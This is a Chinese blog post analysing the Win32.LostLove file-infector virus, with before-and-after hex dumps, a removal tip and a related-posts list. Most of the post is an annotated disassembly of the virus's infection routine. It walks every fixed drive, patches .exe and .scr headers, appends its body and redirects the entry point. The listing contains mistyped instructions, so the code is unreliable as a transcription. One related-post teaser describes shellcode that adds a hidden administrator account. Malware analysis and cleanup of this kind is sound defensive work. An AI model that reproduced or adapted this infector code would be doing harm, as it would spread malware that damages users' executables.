1、LostLove病毒,该病毒的特征是感染扩展名为
EXE和SCR的Windows的PE文件,文件长度增加1186字节。
病毒发作时会查找C—Z盘所有符合条件的文件,并将其感
染,同时会打开 http://www.wx-packs.com/lx/boy/boyhacker.htm
页面,不会造成其他的破坏。
2、感染数据
以被感染的 C:/WINDOWS/CALC.EXE 为例,正常为94,208字节,
感染后为95,394字节。
感染前:
00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF
0000 4D 5A 90 00 03 00 00 00-04 00 00 00 FF FF 00 00 MZ..............
0010 B8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00-00 00 00 00 C8 00 00 00 ................
00C0 50 45 00 00 4C 01 03 00 PE..L...
00D0 B4 AF FD 34 00 00 00 00-00 00 00 00 E0 00 0F 03 ...4............
00E0 0B 01 05 0C 00 1C 01 00-00 38 00 00 00 00 00 00 .........8......
00F0 E0 19 01 00 00 10 00 00-00 30 01 00 00 00 00 01 .........0......
0100 00 10 00 00 00 10 00 00-05 00 00 00 05 00 00 00 ................
0110 04 00 00 00 00 00 00 00-00 70 01 00 00 06 00 00 .........p......
0120 90 B7 01 00 02 00 00 00-00 00 04 00 00 10 00 00 ................
0130 00 00 10 00 00 10 00 00-00 00 00 00 10 00 00 00 ................
0140 00 00 00 00 00 00 00 00-20 20 01 00 8C 00 00 00 ........ ......
0150 00 40 01 00 18 26 00 00-00 00 00 00 00 00 00 00 .@...&..........
0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0170 F0 11 00 00 1C 00 00 00-00 00 00 00 00 00 00 00 ................
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01A0 00 10 00 00 E8 01 00 00-00 00 00 00 00 00 00 00 ................
01B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01C0 2E 74 65 78 74 00 00 00-0E 1A 01 00 00 10 00 00 .text...........
01D0 00 20 01 00 00 10 00 00-00 00 00 00 00 00 00 00 . ..............
01E0 00 00 00 00 20 00 00 60-2E 64 61 74 61 00 00 00 .... ..`.data...
01F0 84 0F 00 00 00 30 01 00-00 10 00 00 00 30 01 00 .....0.......0..
0200 00 00 00 00 00 00 00 00-00 00 00 00 40 00 00 C0 ............@...
0210 2E 72 73 72 63 00 00 00-18 26 00 00 00 40 01 00 .rsrc....&...@..
0220 00 30 00 00 00 40 01 00-00 00 00 00 00 00 00 00 .0...@..........
0230 00 00 00 00 40 00 00 40-00 00 00 00 00 00 00 00 ....@..@........
0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
感染后:
00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF
00F0 00 70 01 00 .p..
0110 00 80 01 00 ....
0120 A2 04 00 00 ....
0210 A2 34 00 00 .4..
0220 A2 34 00 00 .4..
0230 40 00 00 E0 @...
比较一下:
地址 感染前 感染后
00F0: E0 00
00F1: 19 70
0119: 70 80
0120: 90 A2
0121: B7 04
0122: 01 00
0218: 18 A2
0219: 26 34
0220: 00 A2
0221: 30 34
0237: 40 E0
其中00F0-00F3为程序入口地址,感染前为000119E0,感染后为00017000
0118-011B为所有section大小,增加了1000
0120-0123为检验和,改为4A2
0218-021B为最后一个section的VirtualSize,增加了E8A
0220-0223为最后一个section的长度,增加了4A2
0234-0237为最后一个section的属性,该为读、写、执行3种权限
可见,病毒在最后一个section的后面,然后修改了入口地址和相应的section大小等,
最重要的是恢复程序入口地址。
3、病毒代码
将最后1186字节读出,进行反汇编,得如下代码:
;************** 原程序入口 ***********************
010119E0 PUSH BP
....
;************** 病毒入口 *************************
01017000 PUSHAD
CALL 01017010
MOV ESP,FS:[0000]
JMP [ESP+28]
01017010 PUSH WORD PTR FS:[0000]
MOV FS:[0000],ESP
MOV EAX,DWORD PTR [ESP+28]
AND AX,F000
MOV ESI,EAX
01017026 SUB ESI,00001000
CMP WORD PTR [ESI],5A4D ;查找 '4D5A' 即应用程序标志
JNE 01017026
MOVZX EDI,WORD PTR [ESI+3C]
ADD EDI,ESI
CMP WORD PTR [EDI],4550 ;查找 '4550' 即PE程序标志
JNE 01017026
MOV EBP,DWORD PTR [EDI+78]
ADD EBP,ESI
MOV EBX,DWORD PTR [EBP+20]
ADD EBX,ESI
XOR AX,AX
MOV EDX,ESI
0101704E ADD EBX,00000004
INC EAX
MOV EDI,DWORD PTR [EBX]
ADD EDI,EDX
01017056 CALL 0101706A
0101705B DB 'GetProcAddress',0
0101706A POP ESI
XOR ECX,ECX
MOV CL,0F
CLD
REPZ CMPSB ;查找GetProcAddress的入口地址
JNE 0101704E
MOV ESI,EDX
MOV EBX,DWORD PTR [EBP+24]
ADD EBX,ESI
MOVZX ECX, WORD PTR [EBX+2*EAX]
MOV EBX,DWORD PTR [EBP+1C]
ADD EBX,ESI
MOV EBX,DWORD PTR [EBX+4*ECX]
ADD EBX,ESI
SUB ESP,00000060
MOV EDI,ESP
CALL 0101709F
01017093 DB 'ExitProcess',0
0101709F CALL 010170BB
010170A4 DB 'RegisterServiceProcess',0
010170BB CALL 010170C6
010170C0 DB 'Sleep',0
010170C6 CALL 010170D3
010170CB DB '_lclose',0
010170D3 CALL 010170E0
010170D8 DB '_llseek',0
010170E0 CALL 010170ED
010170E5 DB '_lwrite',0
010170ED CALL 010170F9
010170F2 DB '_lread',0
010170F9 CALL 01017105
010170FE DB '_lopen',0
01017105 CALL 01017116
0101710A DB 'SetFileTime',0
01017116 CALL 0101712E
0101711B DB 'SetFileAttributesA',0
0101712E CALL 0101713D
01017133 DB 'FindClose',0
0101713D CALL 01017150
01017142 DB 'FindNextFileA',0
01017150 CALL 01017164
01017155 DB 'FindFirstFileA',0
01017164 CALL 0101717E
01017169 DB 'SetCurrentDirectoryA',0
0101717E CALL 01017191
01017183 DB 'GetDriveTypeA',0
01017191 CALL 0101719E
01017196 DB 'WinExec',0
0101719E CALL 010171B3
010171A3 DB 'GetCommandLineA',0
010171B3 CALL 010171C5
010171B8 DB 'GetLastError',0
010171C5 CALL 010171D7
010171CA DB 'CreateMutexA',0
010171D7 CALL 010171E9
010171DC DB 'LoadLibraryA',0
010171E9 MOV ECX,00000014
010171EE MOV EBP,ECX
PUSH ESI
CALL EBX ;调用GetProcAddress
CLD
STOSD
MOV ECX,EBP
LOOP 010171EE ;查找所需要使用的函数入口
MOV ESI,ESP ;函数就是上面的20个
CALL 01017209
01017200 DB 'LostLove',0 ;病毒标志
01017209 PUSH 0
PUSH 0
CALL [ESI+4] ;CreateMutexA
CALL [ESI+8] ;GetLastError
OR EAX,EAX
01017215 JE 0101722B ;成功,说明病毒未驻留,转病毒程序
01017217 MOV ESP,FS:[0000]
POP WORD PTR FS:[0000]
POP EAX
POPAD
01017225 PUSH 010119E0
0101722A RET ;返回原程序
;---------------------------------------
0101722B CALL [ESI+0C] ;GetCommandLineA
PUSH 00000001
PUSH EAX
CALL [ESI+10] ;WinExec 'Command Line'
MOV EAX,DWORD PTR [ESI+48]
OR EAX,EAX
JE 01017241
0101723B PUSH 00000001
PUSH 00000000
CALL EAX ;RegisterServiceProcess
01017241 CALL 01017289
01017246 PUSH 00000001
CALL 01017283
0101724D DB 'Explorer http://www.wx-packs.com/lx/boy/boyhacker.htm',0
01017283 CALL [ESI+10] ;WinExec
CALL [ESI+4C] ;ExitProcess
01017289 MOV ECX,00000018
MOV EDX,005C3A43 ;'C:/'
01017293 PUSH ECX
PUSH EDX
PUSH ESP
CALL [ESI+14] ;GetDriveTypeA
CMP EAX,2
JB 010172A9 ;只找固定磁盘
CMP EAX,5 ;光盘软盘不感兴趣
010172A1 JE 010172A9
PUSH ESP
CALL 010172AF
010172A9 POP EDX
INC EDX
POP ECX
LOOP 01017293
RET
010172AF ENTER 0000,00
PUSH EBX
PUSH ESI
PUSH EDI
PUSH [EBP+08]
CALL [ESI+18] ;SetCurrentDirectoryA
OR EAX,EAX
JE 0101731B ;出错
SUB ESP,00001000
MOV DWORD PTR [ESP],002A2E2A ;'*.*'
MOV EAX,ESP
PUSH ESP
PUSH EAX
CALL [ESI+1C] ;FindFirstFileA
MOV EBX,EAX
CMP EAX,FFFFFFFF
JE 0101730A
PUSH ESP
PUSH EBX
CALL [ESI+20] ;FindNextFileA
OR EAX,EAX
JE 01017306
LEA DX,DWORD PTR [ESP+2C]
MOV EAX,DWORD PTR [ESP]
AND EAX,00000010
JE 010172FE
MOV EAX,DWORD PTR[EDX]
CMP AL,2E
JE 010172DB
PUSH EDX
CALL 010172AF
JMP 010172DB
010172FE PUSH ESP
CALL 01017322
JMP 010172DB
01017306 PUSH EBX
CALL [ESI+24] ;FindClose
0101730A MOV DWORD PTR [ESP],00002E2E
PUSH ESP
CALL [ESI+18] ;SetCurrentDirectoryA
ADD ESP,00001000
0101731B POP EDI
POP ESI
POP EBX
LEAVE
RET 0004
01017322 ENTER 0000,00
PUSH EBX
PUSH ESI
PUSH EDI
MOV EBX,DWORD PTR [EBP+8]
MOV ECX,00001000
LEA EDI,DWORD PTR [EBX+2C]
XOR AL,AL
CLD
REPNZ SCASB ;得到扩展名
MOV EAX,DWORD PTR [EDI-05]
OR EAX,20202000
CMP EAX,6578652E ;'.exe'
JE 01017356
CMP EAX,7263732E ;'.scr'
JE 01017356
POP EDI
POP ESI
POP EBX
LEAVE
RET 0004
01017356 PUSH EBX
CALL 01017363
POP EDI
POP ESI
POP EBX
LEAVE
RET 0004
;**************** 感染过程在这儿 *******************************
01017363 ENTER 0000,00
PUSH EBX
PUSH ESI
PUSH EDI
MOV EDI,DWORD PTR [EBP+08]
LEA EBX,DWORD PTR [EDI+2C]
PUSH 00000000
PUSH EBX
CALL [ESI+28] ;SetFileAttributesA
PUSH 00000002 ;读写方式
PUSH EBX
CALL [ESI+30] ;_lopen 打开文件
CMP EAX,FFFFFFFF
JE 0101739D ;出错
MOV EBX,EAX
PUSH EBX
CALL 010173AD
LEA EAX,DWORD PTR [EDI+04]
LEA ECX,DWORD PTR [EDI+0C]
LEA EDX,DWORD PTR [EDI+14]
PUSH EDX
PUSH ECX
PUSH EAX
PUSH EBX
CALL [ESI+2C] ;SetFileTime 怪不得文件日期没有变化
PUSH EBX
CALL [ESI+40] ;_lclose
0101739D LEA BX,DWORD PTR [EDI+2C]
PUSH DWORD PTR [EDI]
PUSH EBX
CALL [ESI+28] ;SetFileAttributesA
POP EDI
POP ESI
POP EBX
LEAVE
RET 0004
010173AD ENTER 0000,00
PUSH EBX
PUSH ESI
PUSH EDI
SUB ESP,00001000
MOV EDI,ESP
PUSH 00001000 ;读4096字节
PUSH EDI ;地址
PUSH [EBP+08] ;文件号
CALL [ESI+34] ;_hread
MOVZX EAX,WORD PTR [EDI+3C]
ADD EDI,EAX
CMP EDI,EDP
JA 01017495
CMP WORD PTR [EDI],4550 ;是否真的是PE文件?
JNE 01017495
MOV EAX,000004A2
XCNH DWORD PTR [EDI+58],EAX
CMP EAX,000004A2 ;校验和是否为4A2,见下文说明
JE 01017495
LEA EBX,DWORD PTR [EDI+000000F8] ;第一个section header的地址
MOVZX ECX,WORD PTR [EDI+6] ;section的数目
DEC ECX
010173FF ADD EBX,00000028
LOOP 010173FF ;找到最后一个section header
CMP EBX,EBP
JA 01017495
OR DWORD PTR [EBX+24],E0000000 ;修改其属性
PUSH 00000002 ;从末尾
PUSH 00000000 ;
PUSH [EBP+8]
CALL [ESI+3C] ;_llseek
CMP EAX,FFFFFFFF
JE 01017495
PUSH EAX
ADD EAX,000004A2
SUB EAX,DWORD PTR [EBX+14]
MOV DWORD PTR [EBX+10],EAX ;最后一个section的大小
MOV EDX,DWORD PTR [EBX+8]
CMP EAX,EDX
JB 0101744B
MOV DWORD PTR [EBX+8],EAX
MOV ECX,DWORD PTR [EDI+38]
DEC CX
ADD EAX,ECX
ADD EDX,ECX
NOT ECX
AND EAX,ECX
AND EDX,ECX
SUB EAX,EDX
ADD DWORD PTR [EDI+50],EAX ;SizeOfImage
0101744B POP ECX
SUB ECX,DWORD PTR [EBX+14] ;PointerToRawData
ADD ECX,DWORD PTR [EBX+0C] ;VirtualAddress
XCHG DWORD PTR [EDI+28],ECX ; !!!!!修改入口地址!!!!!
ADD ECX,DWORD PTR [EDI+34] ; 原入口地址加ImageBase放入ECX
CALL 0101745D
0101745D POP EDI
SUB EDI,00000237
MOV DWORD PTR [EDI],ECX ;把ECX放到这儿了
SUB EDI,00000226
PUSH 000004A2
PUSH EDI
PUAH [EBP+08]
CALL [ESI+38] ;_hwrite
CMP EAX,FFFFFFFF
JE 01017495
PUSH 00000000 ;到文件头
PUSH 00000000
PUSH [EBP+08]
CALL [ESI+3C] ;_llseek
MOV EAX,ESP
PUSH 00001000
PUSH EAX
PUSH [EBP+08]
CALL [ESI+38] ;_hwrite
01017495 ADD ESP,00001000
POP EDI
POP ESI
POP EBX
LEAVE
RET 0004
4、清除方法:
从上面程序就可以得到清除的方法,从文件最后倒数027C-0279字节得到的数减去ImageBase
就是原来的入口地址。
相关推荐
ESXI 8.0虚拟机安装OpenWRT软路由详细教程
OpenWrt 是嵌入式的 Linux 路由器固件,OpenWrt在稳定运行的同时提供了强大的扩展能力,用户可以完全的定制属于自己的路由系统,满足不一样的个性化需求,本文讲解如何使用ESXI安装OpenWRT,打造属于自己的软路由。本次安装使用的是版本。默认登录信息:用户:root密码:password下载固件:https://github.com/haiibo/OpenWrt/releases/tag/X86_64【CPU配置】:4核心。
Win32.LostLove 病毒分析及清除方法
以前曾经分析过一个小病毒,贴出来共享:1、LostLove病毒,该病毒的特征是感染扩展名为EXE和SCR的Windows的PE文件,文件长度增加1186字节。病毒发作时会查找C—Z盘所有符合条件的文件,并将其感染,同时会打开 http://www.wx-packs.com/lx/boy/boyhacker.htm页面,不会造成其他的破坏。2、感染数据以被感染的 C:/WINDOWS/CALC.EX
学习笔记7--激光雷达标定
本系列博客包括6个专栏,分别为:《自动驾驶技术概览》、《自动驾驶汽车平台技术基础》、《自动驾驶汽车定位技术》、《自动驾驶汽车环境感知》、《自动驾驶汽车决策与控制》、《自动驾驶系统设计及应用》,笔者不是自动驾驶领域的专家,只是一个在探索自动驾驶路上的小白,此系列丛书尚未阅读完,也是边阅读边总结边思考,欢迎各位小伙伴,各位大牛们在评论区给出建议,帮笔者这个小白挑出错误,谢谢! 此专栏是关于《自动驾驶汽车环境感知》书籍的笔记。 2.激光雷达标定 2.1 概述 激光雷达内参标定:内部激光发射器坐标系与雷达本
OD常用断点
OD常用断点之我收集,里面有VB绝对万能断点,杀VB程序专用<br /><br />常用断点(OD中)<br /><br />拦截窗口:<br />bp CreateWindow 创建窗口 <br />bp CreateWindowEx(A) 创建窗口 <br />bp ShowWindow 显示窗口 <br />bp UpdateWindow 更新窗口 <br />bp GetWindowText(A) 获取窗口文本 <br /><br />拦截消息框:<br />bp MessageBox(A) 创建消
rsyslog交叉编译(armv7、armv8、aarch64、arm32平台通用)
该文档描述了如何交叉编译rsyslog到arm64嵌入式平台。
8-阿里云服务器 ECS配置R及Studio Server
步骤概览:(首先要明确自己的系统然后进行安装)
PE感染-添加节区
#include #include #include //本程序只适用于载入基址定位的。。。非随机基址 //感染指定目录的PE文件 char ItIs[MAX_PATH] = "D:\\桌面\\感染PE\\感染目录"; //添加了一个新节区 //然后shellcode是添加一个名为a,密码为a的administrator //然后PEB定位kernel32只在我的win7 x64电脑上测试
解码器选型参数,结构原理,工艺与注意问题总结
解码器芯片(Decoder Chip)是电子设备中的一个重要组件,通常用于处理、解释和输出存储在某种编码格式中的数据或信号。本文对解码器的工作原理,结构特点,工艺流程,选型参数及设计注意事项进行总结。
大漏洞时代下的僵尸网络追踪-笔记
大漏洞时代下的僵尸网络追踪 僵尸网络组建:(三板斧) 1,弱口令 telnet、ssh、物联网设备,网络设备3306,1433,4899,3389,。。。爆破成功后,会切换/tmp目录执行命令wget某个文件,然后赋予执行权限,然后执行。扫描数据库,链接后,使用mof,udf提权完后dumpfile 2,漏洞利用。。热衷于命令执行,使用肉鸡扩大战果。反序列化,MS17010,搭建蜜罐研究。 3,...
web渗透--9--识别web应用框架
1、概述 Web框架指纹识别是信息收集过程中的一个重要任务。获悉目标框架的类型必然为测试人员带来极大的优势,如果该框架在之前就被测试过。测试人员不仅可以获得未修补版本中存在的漏洞,还可以了解此框架中特有的错误配置以及已知的文件结构。从而使指纹识别过程显得格外重要。
AI产品经理面试宝典第94天:RAG知识库构建与预处理策略面试指南
本文深入解析RAG知识库构建的核心挑战与预处理策略,涵盖文档格式转换、问答对生成及自动化测试全流程,为AI产品经理提供面试必备的实战方法论与避坑指南,助你精准应对技术深度类问题。
第 1 讲:内存布局与所有权解剖——栈帧、胖指针与“移动/拷贝”在汇编层面的真实面目
看图最下面的(或者数组切片&[T]它在栈上占16 个字节,由(ptr, len)两个机器字组成。这就是系统编程里常说的胖指针(普通指针只有 8 字节地址,它胖了一倍,多带了一个 8 字节的长度或虚表指针)。痛点追问:C 语言里表示字符串切片只要一个 8 字节的char*,为什么 Rust 非要浪费双倍的栈空间搞成 16 字节?如果少掉len这一环会出什么乱子?回想一下 C 语言是怎么知道一个字符串在哪结束的:靠在内存末尾塞一个字节的\0求长度是 $O(N)$ 的苦力活:在 C 里调strlen(p)
医疗影像配准与融合: 使用MATLAB对医学影像进行配准和融合,实现不同影像模态之间的对准和结构信息融合等
医疗影像配准与融合是医学影像处理的重要技术,它用于将不同来源、不同时间或不同模态的医学影像进行配准和融合,以获得更加完整、准确的患者解剖信息。基于MATLAB的医疗影像配准与融合可以帮助医生更准确地诊断疾病,制定更有效的治疗方案。医疗影像配准与融合是医学影像处理的关键技术,它对于提高医学影像诊断和治疗的准确性至关重要。MATLAB是一种功能强大的数学和科学计算软件,它可以为医疗影像配准与融合提供强大的工具和支持。
ARM 汇编入门(八):NEON 与 Advanced SIMD 全解析
本文系统讲解ARM NEON/AdvancedSIMD核心机制,涵盖寄存器视图、通道记法、算术运算、掩码选择、置换、查表、饱和处理、归约、点积及结构化访存。通过LD1/ST1等指令实现16倍吞吐提升,适用于图像、音频、DSP与量化推理。重点解析SDOT/UDOT加速INT8推理、FMLA融合乘加、BSL/BIF无分支控制、TBL/TBX查表及尾部处理策略。强调从编译器自动向量化到intrinsics再到手写汇编的工程优化路径,实现性能极致压榨。
LinePhone3.2.7(android端最新版本) sip客户端
SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/
Camera2Demo
在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作
ARM 汇编入门(十):标量浮点与 VFP 指令全解析
前九篇从架构、ARM32、AArch64 寄存器/寻址、算术位操作、分支、调用约定、内存模型、NEON、SVE/SVE2 一路走到这里。这一篇回到标量浮点子系统:AArch64 用统一的 V0–V31 寄存器文件同时服务标量 FP、NEON 和 SVE;FPCR 控舍入/非规格化/异常陷阱,FPSR 记粘性异常标志;FMADD 单次舍入、FMAXNM 跳过 NaN、FRECPE/FRSQRTE 做快速倒数/平方根估计;最后落到 FP16/BF16 这些机器学习降精度扩展。
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案
ARM 汇编调试入门:MOV、LDR 和 STR
掌握,最重要的是看清数据移动的方向。
文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况
主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。
C 语言:编译 → 汇编 → 链接 → 加载运行
C程序从源码到执行经历预处理、编译、汇编、链接四阶段,生成ELF可执行文件,由操作系统加载至内存并由CPU执行。关键点包括:交叉编译生成ARM指令;链接分静态与动态;入口为_start而非main;动态库需-fPIC保证位置无关性;嵌入式环境下可能跳过OS直接运行。
ARM 汇编入门(十一):异常等级、中断与向量表全解析
本文系统讲解AArch64架构下的系统级编程核心机制:四级特权模型(EL0–EL3)与TrustZone安全世界正交设计,异常分类(同步/异步)、硬件自动异常入口流程、VBAR_EL1向量表布局、ESR_EL1解码、GIC中断路由、SVC/HVC/SMC调用约定、DAIF屏蔽、ERET降级返回等。强调内核、Hypervisor、TF-A及裸机启动链开发必备知识,涵盖寄存器状态保存、异常处理框架与世界切换逻辑,是深入底层系统开发的关键一章。
ARM 汇编入门(十二):MMU、页表与虚拟内存全解析
本文详解AArch64 MMU核心机制:通过TTBR0/1_EL1实现用户/内核地址空间分离,TCR_EL1定义地址空间大小与页粒度,MAIR_EL1配置内存属性,四级页表实现虚拟地址到物理地址翻译。结合TLB维护、Break-Before-Make、AccessFlag惰性提交、KPTI及大页优化,构建安全高效的内存管理基础,是Linux/裸机启动中关键且易出错的环节。
ARM 汇编入门(六):栈、子程序与 AAPCS64 调用约定
AArch64汇编中,函数调用依赖AAPCS64 ABI协议,确保跨语言、跨编译器的二进制兼容。核心规则包括:寄存器分工明确(caller-saved可覆盖,callee-saved需保存)、栈指针SP必须16字节对齐、栈帧大小为16字节倍数;参数通过X0~X7(整数)和V0~V7(浮点/SIMD)传递,超出则压栈;大结构体传指针,小结构体拆入寄存器;非叶子函数须保存LR(X30),否则返回错误;标准prologue/epilogue维护调用链与栈安全。掌握这些规则,方能实现手写汇编与高级语言的无缝协作,避
汇编子程序设计:PROC/ENDP、栈帧与参数传递
本文系统讲解汇编语言中子程序的模块化设计,涵盖PROC/ENDP伪指令、栈帧管理(PUSH BP/MOV BP, SP)、参数传递(寄存器传参与栈传参)及调用约定(C、Pascal、fastcall)。重点解析栈帧布局、局部变量存储、返回地址偏移与栈清理机制,强调调用双方需遵循统一协议,实现可复用、可递归的高效汇编函数。
Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”
滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。
循环嵌套(多层 for 循环)
表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。
【数据结构-5】单链表的实现
单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。
C# 数据结构和特殊类型
.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。
C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?
第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。
3919



被折叠的 条评论
为什么被折叠?



